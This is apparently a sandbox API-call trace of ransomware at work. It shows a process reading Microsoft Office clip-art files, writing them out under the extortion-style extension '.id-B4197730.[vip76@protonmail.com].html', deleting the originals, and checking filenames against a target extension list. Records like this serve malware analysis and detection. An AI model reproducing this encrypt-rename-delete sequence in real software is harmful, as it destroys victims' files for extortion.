	[0084.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0084.852] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1888) returned 1
	[0084.852] CloseHandle (hObject=0x2c8) returned 1
	[0084.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 0x220
	[0084.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0084.852] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.853] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0084.853] GetLastError () returned 0x0
	[0084.853] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x760, lpOverlapped=0x0) returned 1
	[0084.855] WriteFile (in: hFile=0x320, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x770, lpOverlapped=0x0) returned 1
	[0084.856] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.856] WriteFile (in: hFile=0x320, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.856] SetEndOfFile (hFile=0x320) returned 1
	[0084.856] CloseHandle (hObject=0x320) returned 1
	[0084.856] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.856] SetEndOfFile (hFile=0x2c8) returned 1
	[0084.857] CloseHandle (hObject=0x2c8) returned 1
	[0084.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.857] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 1
	[0084.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0084.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0084.857] lstrlenW (lpString=".doc") returned 4
	[0084.857] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.857] lstrlenW (lpString=".docx") returned 5
	[0084.857] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.857] lstrlenW (lpString=".pdf") returned 4
	[0084.857] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.857] lstrlenW (lpString=".xls") returned 4
	[0084.857] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.858] lstrlenW (lpString=".xlsx") returned 5
	[0084.858] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.858] lstrlenW (lpString=".ppt") returned 4
	[0084.858] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0084.858] lstrlenW (lpString=".zip") returned 4
	[0084.858] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.858] lstrlenW (lpString=".rar") returned 4
	[0084.858] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.858] lstrlenW (lpString=".bz2") returned 4
	[0084.858] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.858] lstrlenW (lpString=".7z") returned 3
	[0084.858] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0084.858] lstrlenW (lpString=".dbf") returned 4
	[0084.858] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0084.858] lstrlenW (lpString=".1cd") returned 4
	[0084.858] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0084.858] lstrlenW (lpString=".jpg") returned 4
	[0084.858] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0084.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0084.858] lstrlenW (lpString=".doc") returned 4
	[0084.858] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.858] lstrlenW (lpString=".docx") returned 5
	[0084.858] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.858] lstrlenW (lpString=".pdf") returned 4
	[0084.858] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.858] lstrlenW (lpString=".xls") returned 4
	[0084.859] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.859] lstrlenW (lpString=".xlsx") returned 5
	[0084.859] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.859] lstrlenW (lpString=".ppt") returned 4
	[0084.859] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0084.859] lstrlenW (lpString=".zip") returned 4
	[0084.859] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.859] lstrlenW (lpString=".rar") returned 4
	[0084.859] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.859] lstrlenW (lpString=".bz2") returned 4
	[0084.859] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.859] lstrlenW (lpString=".7z") returned 3
	[0084.859] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0084.859] lstrlenW (lpString=".dbf") returned 4
	[0084.859] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0084.859] lstrlenW (lpString=".1cd") returned 4
	[0084.859] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0084.859] lstrlenW (lpString=".jpg") returned 4
	[0084.859] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.859] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.859] lstrlenW (lpString="DD01178_.WMF") returned 12
	[0084.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0084.860] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3796) returned 1
	[0084.860] CloseHandle (hObject=0x2c8) returned 1
	[0084.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 0x220
	[0084.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0084.860] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.860] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0084.861] GetLastError () returned 0x0
	[0084.861] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0xed4, lpOverlapped=0x0) returned 1
	[0084.862] WriteFile (in: hFile=0x320, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xee0, lpOverlapped=0x0) returned 1
	[0084.863] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.863] WriteFile (in: hFile=0x320, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.864] SetEndOfFile (hFile=0x320) returned 1
	[0084.864] CloseHandle (hObject=0x320) returned 1
	[0084.864] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.864] SetEndOfFile (hFile=0x2c8) returned 1
	[0084.865] CloseHandle (hObject=0x2c8) returned 1
	[0084.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.865] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 1
	[0084.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0084.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0084.865] lstrlenW (lpString=".doc") returned 4
	[0084.865] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.865] lstrlenW (lpString=".docx") returned 5
	[0084.865] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.865] lstrlenW (lpString=".pdf") returned 4
	[0084.865] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.865] lstrlenW (lpString=".xls") returned 4
	[0084.865] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.865] lstrlenW (lpString=".xlsx") returned 5
	[0084.865] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.865] lstrlenW (lpString=".ppt") returned 4
	[0084.866] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0084.866] lstrlenW (lpString=".zip") returned 4
	[0084.866] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.866] lstrlenW (lpString=".rar") returned 4
	[0084.866] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.866] lstrlenW (lpString=".bz2") returned 4
	[0084.866] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.866] lstrlenW (lpString=".7z") returned 3
	[0084.866] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0084.866] lstrlenW (lpString=".dbf") returned 4
	[0084.866] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0084.866] lstrlenW (lpString=".1cd") returned 4
	[0084.866] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0084.866] lstrlenW (lpString=".jpg") returned 4
	[0084.866] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0084.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0084.866] lstrlenW (lpString=".doc") returned 4
	[0084.866] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.866] lstrlenW (lpString=".docx") returned 5
	[0084.866] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.866] lstrlenW (lpString=".pdf") returned 4
	[0084.866] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.866] lstrlenW (lpString=".xls") returned 4
	[0084.866] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.866] lstrlenW (lpString=".xlsx") returned 5
	[0084.866] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.867] lstrlenW (lpString=".ppt") returned 4
	[0084.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0084.867] lstrlenW (lpString=".zip") returned 4
	[0084.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.867] lstrlenW (lpString=".rar") returned 4
	[0084.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.867] lstrlenW (lpString=".bz2") returned 4
	[0084.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.867] lstrlenW (lpString=".7z") returned 3
	[0084.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0084.867] lstrlenW (lpString=".dbf") returned 4
	[0084.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0084.867] lstrlenW (lpString=".1cd") returned 4
	[0084.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0084.867] lstrlenW (lpString=".jpg") returned 4
	[0084.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.867] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.867] lstrlenW (lpString="DD01179_.WMF") returned 12
	[0084.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0084.868] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2024) returned 1
	[0084.868] CloseHandle (hObject=0x2c8) returned 1
	[0084.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 0x220
	[0084.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0084.868] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.868] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0084.869] GetLastError () returned 0x0
	[0084.869] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x7e8, lpOverlapped=0x0) returned 1
	[0084.870] WriteFile (in: hFile=0x320, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x7f0, lpOverlapped=0x0) returned 1
	[0084.871] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.871] WriteFile (in: hFile=0x320, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.871] SetEndOfFile (hFile=0x320) returned 1
	[0084.871] CloseHandle (hObject=0x320) returned 1
	[0084.871] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.871] SetEndOfFile (hFile=0x2c8) returned 1
	[0084.872] CloseHandle (hObject=0x2c8) returned 1
	[0084.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 1
	[0084.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0084.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0084.873] lstrlenW (lpString=".doc") returned 4
	[0084.873] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.873] lstrlenW (lpString=".docx") returned 5
	[0084.873] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.873] lstrlenW (lpString=".pdf") returned 4
	[0084.873] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.873] lstrlenW (lpString=".xls") returned 4
	[0084.873] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.873] lstrlenW (lpString=".xlsx") returned 5
	[0084.873] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.873] lstrlenW (lpString=".ppt") returned 4
	[0084.873] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0084.873] lstrlenW (lpString=".zip") returned 4
	[0084.873] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.873] lstrlenW (lpString=".rar") returned 4
	[0084.873] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.873] lstrlenW (lpString=".bz2") returned 4
	[0084.873] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.873] lstrlenW (lpString=".7z") returned 3
	[0084.873] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0084.873] lstrlenW (lpString=".dbf") returned 4
	[0084.873] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0084.873] lstrlenW (lpString=".1cd") returned 4
	[0084.873] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0084.874] lstrlenW (lpString=".jpg") returned 4
	[0084.874] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0084.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0084.874] lstrlenW (lpString=".doc") returned 4
	[0084.874] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.874] lstrlenW (lpString=".docx") returned 5
	[0084.874] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.874] lstrlenW (lpString=".pdf") returned 4
	[0084.874] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.874] lstrlenW (lpString=".xls") returned 4
	[0084.874] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.874] lstrlenW (lpString=".xlsx") returned 5
	[0084.874] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.874] lstrlenW (lpString=".ppt") returned 4
	[0084.874] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0084.874] lstrlenW (lpString=".zip") returned 4
	[0084.874] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.874] lstrlenW (lpString=".rar") returned 4
	[0084.874] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.874] lstrlenW (lpString=".bz2") returned 4
	[0084.874] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.874] lstrlenW (lpString=".7z") returned 3
	[0084.874] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0084.874] lstrlenW (lpString=".dbf") returned 4
	[0084.874] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0084.875] lstrlenW (lpString=".1cd") returned 4
	[0084.875] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0084.875] lstrlenW (lpString=".jpg") returned 4
	[0084.875] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.875] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.875] lstrlenW (lpString="DD01180_.WMF") returned 12
